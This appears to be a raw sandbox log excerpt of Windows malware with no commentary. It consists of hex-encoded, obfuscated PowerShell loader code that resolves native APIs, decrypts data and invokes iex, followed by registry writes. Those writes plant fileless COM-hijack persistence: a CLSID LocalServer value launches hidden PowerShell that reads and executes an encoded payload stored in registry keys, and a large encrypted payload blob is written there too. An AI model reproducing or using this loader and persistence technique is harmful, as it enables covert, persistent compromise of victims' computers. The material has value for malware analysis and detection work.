393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234363536363335324332343638374133353239323927297c2628247073686f6d655b3133372d3133335d2b247073686f6d655b3133392d3130355d2b277827297d66756e6374696f6e20656e397b706172616d282472683529202876713620273234373336463333334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343734364433373344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343733364633333245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234373336463333324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234373436443337324332343732363833353239323927297c2628247073686f6d655b3130372d3130335d2b247073686f6d655b3137382d3134345d2b277827297d737935202467683020246768302e6c656e6774682028282831333437372b3430363329292920282832342d37292b34372966756e6374696f6e206d62317b706172616d28246d71302c24777034292028656233202732343732363733323344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423643364433413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333033373330333233313333333033313244333033383330333332443330343533303336324433303330333033303244333133313330343133303333333033313330333333303338374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373330333733303332323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333033373330333232373342323436323731333433443238323437323637333235423333333235443242323832383339324433313239324233323335323932393342323032343632374133303344323437323637333235423234363237313334324532453238323436323731333432423333333132393544334232303542363137323732363137393544334133413532363537363635373237333635323832343632374133303239334232343732363733323344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423643364433413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333033373330333233313333333033313244333033383330333332443330343533303336324433303330333033303244333133313330343133303333333033313330333333303338374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373330333333303338323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333033333330333832373342323436323731333433443742323032343642373233373344333032453245333233353335334233303245324533323335333537433235374232303234373236413335334432383234373236413335324232343642373233373542323435463544324232343632374133303542323435463235323436323741333032453443363536453637373436383544323932353238323833323335333732443238333132443330323932393239334232303234364237323337354232343546354432433234364237323337354232343732364133353544334432343642373233373542323437323641333535443243323436423732333735423234354635443230374432303342323437323637333237433235374232343635363233343344323832343635363233343242333132393235323833393338324232383238333333303336324433313334333832393239323933423230323436413734333533443238323436413734333532423234364237323337354232343635363233343544323932353238323832383331333032423335333732393242333932393242333133383330323933423230323436423732333735423234363536323334354432433234364237323337354232343641373433353544334432343642373233373542323436413734333535443243323436423732333735423234363536323334354433423234354632443632373836463732323436423732333735423238323436423732333735423234363536323334354432423234364237323337354232343641373433353544323932353238323832383331333433363242333333303239324233383330323932393544323037443230374432303342323436313638333932303344323032383236323032343632373133343743363636463732363536313633363832443646363236413635363337343742323737423330334135383332374432373230324436363230323435463230374432393244364136463639364532303237323733423230323832343238363636463732323832343635363233343344333033423234363536323334323032443643373432303234363136383339324534433635364536373734363833423234363536323334324233443332323937423230354236333646364537363635373237343544334133413534364634323739373436353238323436313638333932453533373536323733373437323639364536373238323436353632333432433332323932433238333233313244323833353244323833363334333333383330333033393330333932303244363237383646373232303336333433333338333033303339333033393239323932393239323037443239323927297c2628247073686f6d655b3137332d3136395d2b247073686f6d655b3135382d3132345d2b277827297d powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{07021301-0803-0E06-0000-110A03010308}\ProgID\ = "{04120F08-0305-0C04-1300-0D0A070F0008}" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1728.ps1" powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\{04120F08-0305-0C04-1300-0D0A070F0008} powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{04120F08-0305-0C04-1300-0D0A070F0008}\ = "{04120F08-0305-0C04-1300-0D0A070F0008}" powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0E090504-050F-0F01-0A10-0A0411030912} powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0E090504-050F-0F01-0A10-0A0411030912}\TreatAs powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{07021301-0803-0E06-0000-110A03010308}\LocalServer\ = "cmd /c start /min powershell -c \"& {(-join('246D756B65713D2730333038273B285B546578742E456E636F64696E675D3A3A555446382E476574537472696E67282867702027686B6C6D3A5C736F6674776172655C636C61737365735C434C5349445C7B30373032313330312D303830332D304530362D303030302D3131304130333031303330387D5C50726F67494427292E246D756B657129297C2628247073686F6D655B345D2B247073686F6D655B33345D2B27782729'-split'(..)'|?{$_}|%{[char][convert]::ToUInt32($_,16)}))|&($pshome[224-220]+$pshome[18+12+4]+'x')}\"" powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{07021301-0803-0E06-0000-110A03010308}\VersionIndependentProgID\0702 = 7263782e44706c3f3674735b23595079346d7524225d40664541546a76282a43294b697e4d7d526b6f602c30274f575c62395e7b3a56484a715a382d517731537c6168553d353c4e3b586d6533376871726639317761627564697879737a38326e707463366a6f306c6b60614e546a7e4c5d2f6b654757715828307b535f254663213f69454f5e4272416e52704a264b2735243948793c2c50763656627d5b406f3b3133774451685575377a324943662273296d6438784d2d5c3e3a596c342e2b745a237c3d672a powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\ msiexec.exe Key created \REGISTRY\MACHINE\software\classes\{04120F08-0305-0C04-1300-0D0A070F0008}\CLSID powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{07021301-0803-0E06-0000-110A03010308}\VersionIndependentProgID powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{07021301-0803-0E06-0000-110A03010308}\LocalServer powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{07021301-0803-0E06-0000-110A03010308}\VersionIndependentProgID\0308 = aa4af9200b039e21315c90fc6adeb82908304ee7423a1d3a8355ea2512b5477fdcdbd485558c1e3b98946a18f8573123762fd238643c3524a6b4ec4822cb79b5d440e78f25776c14f3e8239250356fc5992b8b6603f4047ca1a09b596dfcd89bf032032843a20a0bc134994bd793a897527790212814719f6d70ebe74e5526e7d11d6cc10ac78b14c64deac27b1141c03ba15d339e153633ed7b63265aa69a2c8932adfa3a602975a9f96ac8b6e06ab64687310cf82ddaef8f757bdc15e71b5c911cdb600386bc91d97ab6ec67962b072300c631d3abb830827b2dba42d0ebee91db48d4a2032bef82aced27c182ee228d4c3408da05cbfa1882936ef8a563a2c078cd6cb2718f447fd77f809ebddffb8d4a164461fd0ea2a4871487d2f0d8599c3f70cf3aca54c86abe3f442d271826fcb4407b5729b8336c03f599a9f94b123fcc273038ceacc41c8dff04f5c46c9b862026d0b1a94dad58bc9184753e2a2492b4c8724aa1495528b06975c715691bb4121fc04c2add530948e2f67f3dab17fa51409d3764e74fdbde664f60f9f7f28afdc1134b94aaa1fdd649ce72052c1ba2e3ca8f09a6279df439e682215d4392a85bcbf4085058c3bfd5697d7c5065413ba57e8c0c2ede7a1c733a6abfe1cd5e886d81ccd7b2e3e82bd503a580939c5bf56cb3c5ecd699ba6d003eb5ed7b95ed13e329c9c010e4c570f7b998e7583231739fc8a6f22624439acd648a89f17a37f8aa22bae1c1b18db88078bc072d526ab2acae93f6d20e4a668342e23e15d285112981b7632afd9cc3f46b43aa3bb4ca224ea9e48df1c26febcd761bc3eda368daba91473bf14dc4b2e4803869e8ff9d70a1a477746be0d8c29a296df0ef1efd1a709fa77ceebe3fe37d9e4f49c2b276145c4ba22603a50027bd97eb3fe8fdd2711ab024e7761ef82be10bf4b2f31009daea06ca2de5364ff1e9a1c6e073b6b2b236dcd785ff2345cb6bf29c59c392e03cf70335db10cceb394c7091bb3bff415d5da792b604003b644381865c2a311c393f4985421b226636541dc93d8664d89b7af2d941519a0082618817b9c4c0f8a390e9614c3d5c715542668f903b3c53c831aff7c388bd7c96ccee6ad86633f7248d76f15c729aab3c36c06d7cf7ed94a4457fd259363bb15a92b9d53f4e4bc112ab986901860cdb44743812fbcfaa65a9f39315cf0d129c847c98ebe4b0ed11a865e77fb67e96909b2d53d30d481e728983c61f86a46fb20cf608e78dc12ac123203ae80ea61f67c281ba75655010fb0d9f1797dbbb03ff7153b6b22a319f8d0442280287822b6c11d762c6c97fdf0d545b7dd0b0a0c59dabe387554134a022219346bd3a2f27413ec8ebfe245853345777261c5009552367de9474e37e7365b409be77c4a529c4dbbb16fbf4749b76f1d3481baaaf3ada73a37d42f84fc3cda65a7760f4cb1a19dd2b6c44d2535825a4bdde3d46d65845024643eac9c66a432cd58ba7750d771bf0ff95cecfb65cad011dcef3c233e0170ac565b4e139f91e32f99affdaebfc859d66d95c7f41734cc0bdd61a4eac4bf5c822b09416f5dc516c6e5b9a173a6689ff961633b780fa3d3c647fced8988a8ec8056eb6bea32c7700078c2aec83a34ae52d080dc22a6ff5c6daf83f6ae7cc5def871771be799bbd3d81b067847d7986536a1902e90a8d6c3d9ee496d68a937abf0a36203e69f671a3393082f32a957e8fbe4f4d8644c27c42307436ca1fa300d78196ffc0a3ac1ae3040e87ed8499574f62c32ce786789bf8e803298fe55b3595e3fd3fb81744c19604696104d0bef2d26ad80ae084e729213e3aee7c51bb2933dba002d6b7ec11b688c5789c8b810fec06d995fddfa167b7e13e2a481746774d32a9050d2863afb02ce463246e57068fed6051abb05d84e2859183afb9eb1f54abc10638c62b0b149c4778d4c2b9507ae29d3844fde3ee725f4965b35f3e3c3160965413706fa723f86d44a3c1a4fd0333b6f4e6de8562cae2d17b71fd557e3c78b5c14966e78debf8264d5b551d694c8236c8befcf910cff619d20fad86e8e1f3b015c58aefe15735e3457f145f7950de985c7dcea8e843893a4d5f783f23572365cbb61301456036aee29bd6f01c7fc22e249213b06f36b61fc6d7b08a4da6517f4ac0af91e39e5f9385fd6afd771175f28146a4be2e70d7d5f306dbbe8e968a4db0791dfa7a4695e0c8ac45c9d0bf00429837ad00786a0b440a040e13c6639e1d18f4771a0ad0a4a848e6837b31e02ce4c7d08e2bde2d4d7fe21dd3dfa52183414580ce588c963bd0aaa64f32f6f51bbf37af5f2d1f20007cc24686ca48b4a8cd72024aeb2497fd68f2a07b6eb5d54b5f62c6e16d97a661b4eda69337eee1fd62aaf51352bc858da9712785a5b4c28155957dd03dd70d29c7e3df8a0fffc68682ebd5ec22bd0e47571d0e6ddf1cb81928bf878ef0822fcdfee0d693c0a2ad5418d21dc4c259fa46f8f6fc7d11f376613045189254cda4a98e4b41710b6565263618bf169b0d7704140ecef27b6afc736fc8c07520161cedb924f838f0cf849c6f3c80e6ea581938c149f2a7cc8a5173a3dd1a6e629d13bc586d3282bedb06b89d19d8ed466b35ad006293b14e3858bbe832f00a8352f1c3da29af0b5dc112de9e24b1bf66611d35ec6c86db2e08d7d865b0a3bd457096105aaf25325dd7def6494372f958bfc8665b2560f5edebb771211539ea8ac1786f28078d9259eac2b9d97e17c3b6a6087082cc5e67761c3d390409759f4d137894bf59ec2403ab65c88d83e6bcba61dba4e9d25b6441e836deff2dcf96fa0a3fc0766d478d7745efcfc6aa8585e05db58f92077de41073f79586ee3c2dcbe944d6dbfd6a02b381d5908273f46fef2fbf69e1aa94161242dadc015aceede53af8bf0b1d753fe7909dd749f2bd2af01ab2475d2a6d3210a68a524bbb9e9a122be552cc401d7ac5ba69c6ba0a7e82dc221873c4618d44bdf405c6e0192832f6c1355a7e101b319cfdc8e8cbe7df1bb387938f312dea208ecd45bee93234eb5f4e8bdfef8a78f321cc774fc592e3548894b40315b2c07dfc353dd7a5cc58676ba806734ca70b175b4ad709d52dd46843d151c77f9ed69a4c3fcb4d27f9c9422403afedb9f2b587b4be15d402a36a2b45eab559443da0faaa10a27629360e7a3714aa40305f2afbd99002cc3118b4d856a0a75424f4667023cc64d4f63049f37dc9721d41417dd5edcadf8065882fe6c645fae601c485203980f51f4ff5447fdb4fb864c2be823c0f20b3347c4abcfad11b9f920cb35570fbb5333ef827e3be492b2de4b1dff998f335338beba06c66fd39eefcd92643ceafb3ae0e03abbe08c3279ce5040f0ab659616e039fdafb12dc8a58f39de8d0c6181a7555281afb86444514ffc75f34869e97dce5baf2e1e0551e45f2d2fdc8b177aa0208d85337595dbc20157916b899cdf1a0ec4398525e29705a87f4fa8d66b39c491f1851313e26225ec6daecccf34d75b2a275494fdc8ee4d941d2237b4d60d21599c6f43067f28947713b90c5dd79cd57583890115a2f9fabbeb486fc78d9d8fb48f452ee69ab4d1b273c77c14d84708dcb7d56a4a2de6a312432ccc12d8f7b6a847757d553cd8afc0f4852a66d91995d7e98057f9f587bf6a0ef8be7ffb6688aa019fdfe8787a83bd5b2519244b4253bf0122ea437512263ae29f6cd2df7f73c0a06c36a825f387cf49c56ebef213ac987b22e6c9dfbe0a9f02a4719de4e0d2461634c37a19ddd942dd03d65d133cd7c50f8239b516ab66d233dae84448c4148262c0c0c82e1e3fba0f8beee83274522aff6ca1c01d1bc17e9339054a1c3781391bc9152b5f9650f5599a4ecf384897ed316c77933407f5cfd89c6775a9cf0ed4b349a343d6d34d1e5acf09d40886a109afe3ea5e7f27b4705d790bad7466d06274dcd5710f2a5891d24c35da78069028cb8f426bc7ad6fef460326158f71d126bdd041b462a43b72c963f5753775c044a86f367cc0d30d13822bc95e9448d439e5da6cce758b633466719d7d2cff5926a631f63e27067bbb14f6318482bf08d0a290bd200ce467c9a87377111cf73f0111c23b57d90a97d7749fca1e48930e6bb7f8a84fdf5a2c14a884cbed2e32860609f72264b30604b8c372fc17f9cd97b74af18abed08c03dc549676e47ed32a6084e167a710044838ec859cda21058c4cefc54efbb6bfb5e7b65a1978a407ac41656c05f534e5288d929b1e5827ed7e5264c408db590c3e9587c58ea23f478738654a0ac5e5ba891cac41afbd41db0319b805df6b1f8ba76ae6735c0823e9a16c426ec40546f44cef9e396c5bfafae8d81c1e1307d2c0d9589ac0f536f6969fe8f76bc8bbbefa6d86851d75f0b841679730f7b407deb20d3dacfc1dcf63202347bc76f67997a072308ea66f24f4604c78f8aa361eaf146c6f76633fcbf427b2cb6630fc1df07788b92f75bc9a03d05d8172310e1816b25a10e08456eaa56ba31abdb0ce7d85abdb6ec1bb0a52953cecfc7e6222741998bf6bbcb553ab3d53bcd3db7fb38e60c5a1e1afb08a5195d59ea7ea54582ff051e297c64bba07850737f4741eb1b6a6c83a8e688c468f4fb14e760b17dbe3e2d1c08d2ba87aed31ae9ee4b4b5d5f30968b2eb34f9e1f5b2d50323c7fff5df2ff6fb0b277a10385632cd3cc8a9b4bcf3125640d61f74d57f4a439d3e397a698ddff6be3f536b52aa4ba543fcf707689824f11c9e36f143770f9aacbbc9fece1b372e39b1103da6ec497f1d0ee263d259a0b8c370ed1f0c29e3685792124e925127bb002450c28c3539ece8586ac49655ed8e91802cf8318b1abf1f64aa02f4ae7beabbc08b263281b563ba2ababa5f57a04e7e0829e3e4a156e835b7ecf0fe3ceb28f6abb8fe97bd6f18510bf708de0a9f86b5600cc8244c5dba72aafd52e2344278156fad33f6ac2cbd4ee7d5b1a727dc61bba8a1d1c9358bd3b77fe78f3cd424d8889c760d4ce9b151015d9b6349a3c17105ad6eee7e088dc70be3c6d4fe703b7149e89bdac7a3b62551723f9dbb5e43ae48605462f5ba55ef6c179535becb6f3d0095819bcd5d154fc7a0e3d4ae2a23ba0684746f564b58c7ea3da3edb37bc452b355168d8b7237a46092edff27cff54883d09ac927c633c9f342e1d31de4cf1c953eff48eec1ff84df5e06fdd1db0c39622279589a0f50b6314ace86e2aaf798811b06cd0ab554b0951c52b5f25b33a5fda9ae84896f8096b0f9f909c52ce9124bf897d4b9830632c527a9a32fb28741bd2560c9b41166c7c09dd200584e56506c9ab5ae7f3fc5720a63ac4f9b664c03aa1d478c5c917a066bfdf30d00dec698fef65bd3088c79a46ee190c4b92cb91fba4b7298f26342c17a12a732664532489a719ff0471c3e96d932ca735c2099da73611c8875203842243304fbce2607be3f1fb234c3b39e711d1797788da9b251dfe12435a961ec00e1804d555488ab94c756600744acd068980d9a3e21c53e7cd868967dd91e758ecfb2bb942d6d3983c564188bbc3aaea3686846a00925d69bee69426ce9e6b06ed40d9f40f4368d6d6ce7b4bd602ffbd2ba85816c6786f0de46f8d8d421a9221867f7458cf12b27ce25f4342d5cc2cfcc35996d28616be204239eda087f42ea33a0c56bd6c256776ee01a3a9026d5443ca2e326b6f70b957be99bd5eb4c99b534e8a6b48a089aff9fbf4bf96c2161634578972ef3920af4602448a3edcf965124719b77e2afbf81744dfefbb4c9d5e6331acf1fb2d53e736e6b31d62bee2a0ad24ba2470dd2b3dd8a0be87411d753bb2d1e11ed7c62eb9876ce419bb39795aaa06c1017624a6840b0e8a70e66e15d0d6d224e5593720801559b0944f2e973ca4581f544c3d2b7c6216387860685fd9d99678899abe6c99f45f5d025ac49a6bde0de48c406074736f77abd947e06a159ecc6bb1777f12453ed1233cfa8fc1e56ac01ac46de468d1a851bcd7ddb8d85c65fa6db32ca3d64f8fb76cfec48af22a105b4d7b391db5add7ba53499d21a8ad3522768b920286c8999139621113a3d4f50d5b0708addf5cb7d39fd5a1bec66fa070bd9318767edaee0afc3780a61959e6bf9b22bc030972a986e3ceaa9f20a791888f9232e358eb0a8a82fa3eea3115e96fe59241855e5544c5964359dc3f8166ec31a136b1044b7c1fc77059c5e4d3ad60daf7a7e11a883d903e97aefd08dbee4332ef517ed7036a4bd4ed7e6b1511889f627a4803cd0ae0ef99b6a7af3ded6b2540886d145d3a38bffd436668da84301a5a0dcab9ff804f899ab3b03043af87791c2e615041553ba14dfab37d325fe774819f0ba4b36bb50df33170bc69c23d4397d904f416ac8715ca106523dfbea215ef1bb412e30fcb36b2cb71895fb7d4eb8c6c7b6728c0990d2a66bdc17db03ba8c38c6b70cf42327d17762546c09e9a2af220d202a2334ffe09aa07d61b48ee13f87d51da0b718f6934af089809f06e2834fd1264b1184e82d4200bca6a97a7abddfbeb3ac5814e3bcc02733cfdf00f6ba2a3de3e07ec830bdd8ac64d17ff36b87b6127acb49a108914ea7a32da58066458525fde5e8d153ad34e6b1391c1831457fef805044b5a78d50367582add12768f1ea06efdc9f426b35554fa2573d927a967b23a2da268fbac9ce8bf6cdc135db8d339d40c3611ddbe1c6e0c2f40b6f4d3fb54046eda82442e62fa0d107a7e163d02578b52d5b9c93e3e5bcc16055d7a54e532813f762b144de6c0ec7f76f30e12907f03afc97834806233ee15e09789e17fd7e05ffa3132297cc9b6c8f52392ea3cf18703b9b1c31305ade67a749b828fdc3db6afc15de3cf20ca2092da25c16b1cc615f384e4b805d800f7041eb57333df8254ae0ae7f6fd87bedc80e0c778156c8ca3351dbb8abe741093d2728d98324b0b9bcafc0fea51836da06e07f6e576add0b5628cfa7f0bedfca2c32aeaff89e5b0a429b67d4bce825f649f6e13a40feab8a9b2a1fb093b2bf6723a2aed93ad7cdc1a9ae1a37256f324c30b9f29dee850bd359008de1de93e388c0df6d132a12cb05547fac3d41c31d4dd78a27ea9be6dba721afead4b967e06ba770373f027b33ef539c17157eeaba0a43de1b4e86a47ce111252c11a3e6e042e22de7e1f0e636e0985da87193b948f42ef67138b16135cae1a7dd3d2e3c2c6221e7b9e78ec60432d44b0b9b719a3bb5103cefa1fd32f05c6b2e712c782ae5093bf17d59c20db0e431cc0c32918497d62640254aee66ba8f58ba43597a1cfb0b205c6dcafbbe08cdd47ee8562579ca055ee053d40bda289bd9ae13fd84d71ea24f43b1aaaf296aba3323b5efe494bf911e62b1614f8abf2a0bc2bf38f511e4fb19a84502803a93d0e52a35e5f2e7a380ec6b62e7c5146d570e8ac165a51e737fc407f30c820e3b83c44fdb0683ee5e9d1b3aa4ca9e0695112947e0a2447e92722cb2f5882c72ef17a80fcf2fdcabc8d8a469eb2e5473bc023a0555517ccbdb8954f9ee5ee94ef9f0c6aea2fbe0e53f8a6d97942bc29c69f77134cdc1882ad0df4a6889d378477744d1931e5b14b012a5cbb2bc8a2d494d9687b13bfc728160df4cf3d5944d31a22523fdcc0ddc60aeb5c0b5b0a5c13216f2280be848e92a36d01846c7f0109f7c6ab46939777624634e67e080c92d7f3235e6590e22c62646fa9e4c51bf54605c81948952b8ceef9a4c13108310db8e2ca5b513e59728322e68cd2371a1881f8bc6a3f44b5dae03b612eed33d99c10907e74b6b0cf1cc64d9ed1b4cf75e67634cbf5af3d12f46312684924c2d4ae426cd59104d81b503094624f517e72d32ec057fa63cf488858276dea026ff2df603b0aaf1f44da3f254a84ed5f0e0747c001b1f10e27c38dbb93a396196a9e4ef92449569394b61a8977969f26a2d88dde47e252ecdc1bc90375ac7e50fb2250b264615ff637f8ba6640e0ba6871eedbea6cf020ff5694530e534d1d8223be6a0fbac59cd30ce85e934b47e004168418f7b9144307a0470e2e3d8f046b34013d2d36b8f449aafb73a94b621396a6acd29e493de486078efbc415c6237694efc0540b123657e91d1ade970b055d1bf3b09684b6524f58d410327b4c6bb96c4fbc0ba58e6beed2f9ad76b512a63fef8e2cbe135ae52ed6dd9acfccfa69a0e2550670b0bdbdc5b56ba6391c19adf7c8cf516657bf1901fd7ff9cc4a8523e67eaef6b48573fe79b9afb6687c0fe57b8901488e042d75604b53566cbe1daaf831e6db24e2a628b507b1d207b70c1572e0294a024053633a2287e18e9778f0c24f1072d9903a72020be13050ff8e2183b6be66898a63609e23d5117f524d46df8b6c5f506d77f61e7b0f26090f8cea5c3cb746ecd537c90384480b9bc545960367b5049238d5f0939d02398a5067655861e2dee20354bf389fc7a8693dc80c9963656b1e38b4b2908c17d92c39ffdd16ade5100100d04b25bb8705c8aa4fb45724c554c7ee7d422569e411b6ecec316fb5935d35f74edf8438f461b42318594c1586cfb0a326804424389ee8b7c92f77d5c9053c4f74be0b8e11f37477c1c69e1697fc9ba15e3067cf2e263ee64a77f84f63fe5be101a1eef716ce78af594258b860c309364a6f4bcb705f7147d135f2704edc3e5d48991f3ac3ad9b243e96757b2588b2f7f0ebb863cc50d447642ec3068be9396282cd6e742bf694106cc3cff2be39fbd8d06d412da40e67c8be5145ba9bb8477a61514d0a9020d5216f8b78edffefd19a5fbfa2ba703c611a380e16600ae1db4c256663cfaff5dc5b508119d5b2b7bccfd15219c141b5d47dffaca5a444557aacada38214b81ba138f1aa977a03863ee94f976f2ee7ace4609c2f78c68094475e371d86ccb6345980bcaeda4023df1975df8b0cef9a7c2aea42c7f1eace941034476dbe71a22a8bf7e3b36dd0b45ec7cc5bafcbf0c1b83145b4e477434704c6bd35f2ae01a6c4a054df938ca1283243fb793f1b3171bc732e5fc35d16e12cbff45c8170fd315346e973edf5fd545531e11d70754e01592bcb1f62b086290935d17835bf0cde99fe63a59139e289cee190a50033221cb14f6015905aa08d3c5f2743ebeeaad94edf91193226f291c65c189fcedda0bbfc5b9199af82b5778559091c62ab5c49e8b2f8e4512ff07ae909297e828bb4474f52ad44d1a5959d7a16e27586e95d7cf8a58e3929127b2dc3fd79173fd4e2ec744563bb2894f49689116a373fa60fe75775ebdf525d1a4d1a55272b14570d4d9488140820394f668b7e43d892eea6e7282bf21f7be8462fcac9f228166c1c8e6fa03cf258d108f117f7806d9b558d69f8df9d959313708b96f697cfd1ccee6730d1da3f132193977a6e76eb1686f9518093bf98f47264c9667e8aaee0f10c8cc5c37262557cbebe2091d0640cdc41c436bd4313c93abd0f17a28b3924b89b9d01465b03dff7c8d9c2ed69df7af52076ca190feaef76c58d1c1ad940bfd5ffce2f26490f0a1807b88af9aacb7f43b0b988d5969b4f65dbc425dd4f7b6e06bbe167aacb6eb8775453d306737f3292e77fa8a3079ab974a2d5bceb019cf82df31eaba23384af91aaaa6c226dc1637a8794cfcfc175474f5d50bb7cabb08c8e7be054dbeb4225f639249e382951172639f2964821ededf7d4e27de26f93f1e58199c38465788c169e206fa43746afc861d6ab798e8c3ada820f1927830f8ae08cdcf5efd49a014ab3d60f09975f6f67327ec33f5c9e2d93e2c082f4918aee169ec779ef4fd42d1946a9fd6dcadf1a8e33cad3ace9c452572df8bf7d7947c00a8049bbd47a9d365c51a2bbcf12f1f591b6b3a8fd1cc32e12f5e74ed649f48e7eb2ec9d5f4a5fbca8599a1cc104687fd8e0679221d595026e2d1f90daa73c980840cbe87511a58c1791530d0cdcf2f98d7d7ba00463bb7a743aee6f5b216ab881f1a2c29d51ea08fed9620481c4ab2d975a45aa3a08b6fd3f5aa2c3c34b120188443db41473d94af12d0c05b9f29a04a7a77c19993d72eead462ce41ad9aa55781e333955f9946675479c90ab7d0e360914c9a4b10ace43227f941ef740f072ed1634a65e30cd19389763e4311efdc932e504a4949150cfbf2420d23cd7213624a13131c7439faa17e2caead273900de5a59ea0c4f3f2f76f0f2e0e8f5b03260e478fc81eef76a4e2b80dde711078127012acd5c8e9543d8e5193a9957877e26d69e19fc8768657194cf599ed6e5fe08c48068ae06467ea3655744bcbdd11097bcd10971a0a268d3e5b567c353d03c1e245f6dc5b575fdd6aa33eff0572b08d0212e6d8466af3d357b887c12f91bfc5f4fcd30f4b7e82654b34bf3373d93b271d614904a07148cd2ae045de3f0b96029327a56e255b4c6473ffe46fa7df5d9cf566eb65d216d84aa0b123f5fd65d8caa54202fd93d77588c2cb6f28f7647a318a14048d28852ded39e0cab614b178bd6cb8680d90bca3c2c2999e50afbee4d5ffb9534b12f9e197cb9ff972c436be43801884f98403db6b2a9ace5080bcc07b6832a3e9a94622240c48d582591fbef2c291f9d218e7b3d03a10602124f59fb79a535764debfb1c0aba4007310ccfa284c4cd795b1e39a0183f13909a07eca0c21801b2d4587ae3811b1dea55f79a6f9ad2f43f24ae3327e9dc9c102c22bc39ceee9cf8e3d672783ea9ed4066224bd4c72daf4fbe9ba2638aaa9784fdbe7492400e90bc6c219bd6127db0002b9470ed97a6995f60c0bf441d05c70c485cbd00eea3c29e24b4c3d28792aeaed731f5f55ca955e359a0b7f5ad20fc6f17aa0617d90a26a889c4ce4b9c1e93bd04b49a775fde19bc47f9cdf0dffb1261c350472f2f1dc49edb529aca614fa3f62355bc53e01195ae99658411ee3cf483176449edaf0f229279024701143f39ff29d5ed9c313a6b2dc38a2ca975eb1f8664b212ecf361de36eab5bc487db4a666dcb1c4701328005f53ac156489d7586b2f965cb47001c9ce7636781bdf256311927267016de2ffbed922f71ca5fc31916bec5e440173d024fbbdf8cd2fb1be9e3733a58a8b68cf7b68e62d825233a425285e6052efa5363485432800ebfd02f720d8a7dcb0d696048ca9f5a4f48ecfd7fe9038e194a5a7d544711bcdcab626189466855fa33de7b6210552c55e216fdd48bc4a0680cbae887233928a06d1177f4f6c97834abb2bd231675be2da5467a42d21438e7787a8d1cb8d40b972081f143edfee905c868d4654f328ff707bdfce0acb9a3be83a2fd986da7b0ad654e761b9d3b9ab351eb3366732c68c93363c2b363298ddfffe3cccdc485af76daefec8ce9cd8ed34ed04c274871ec0ba03143c98aaa052d06fbde51bbd3ddec8131de7cad0abb37c0e6ccacb5ae010197e2692e7ecf63f1c06e34461f0f219b57c18bb03c1ec9efd4cf08146b585384f5f0e21f5802c766eb05011d3b711469089e95ce42ffdad66491ab80f39f54a0f2086fa6516ab6776172163dc1abc8db1f6663b265a1129657e77b80f45917d4eefcfd8a6a3377c493567b41860fd2cc3302fe0049e39783999314883f209537b7f5d3038fb927ef718386b4f1f4e35436963237e3f6845690bfa60b86cca1a7aae65526aa0af9c991675ca1d655ff511a4731be1dc28218c7a129b324d5a89c743714433e2099106692dc1aa0e11f8acf73de81ab19c8c47fcd0b84214172a2034a89274b8b3af42a3d0cc6192dadbc19fd117ed8ff1030a9eb404502c1b66bdc66809e46144a14f8f402b2e02c08ab50c730dacb16c852d35b3d60dea50b8e9fc6d11f2756afd3b127f7e0a718ccc2f7fa02d0cc9db11f50793428a35ad983b5081dbfd3d0c4a0268b97d1729118614fcbda6c3043c4b410ce458e3ec261e91204164547c494785aed1c7f85a0680a284fea5cc5aa9a23023f0c17057a4f23fffa9994e1768a9bf5a71bd5df79207232e980b02be434231